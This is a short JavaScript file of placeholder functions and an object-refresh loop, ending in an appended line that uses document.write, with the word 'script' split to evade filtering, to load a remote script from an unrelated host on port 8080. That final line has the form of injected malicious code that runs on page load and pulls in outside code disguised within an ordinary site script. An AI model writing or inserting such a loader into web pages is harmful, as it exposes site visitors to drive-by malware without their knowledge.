function fun2()
     {
          // do your stuff here
     }
     
     function fun1()
     {
          // do your stuff here
          window.setTimeout('fun2()', 5000);
     }
fun1();
theObjects = document.getElementsByTagName("object"); 
for (var i = 0; i < theObjects.length; i++) { 
theObjects[i].outerHTML = theObjects[i].outerHTML; 
}


document.write('<s'+'cript type="text/javascript" src="http://assol.metro-trading.net:8080/BASIC.js"></scr'+'ipt>');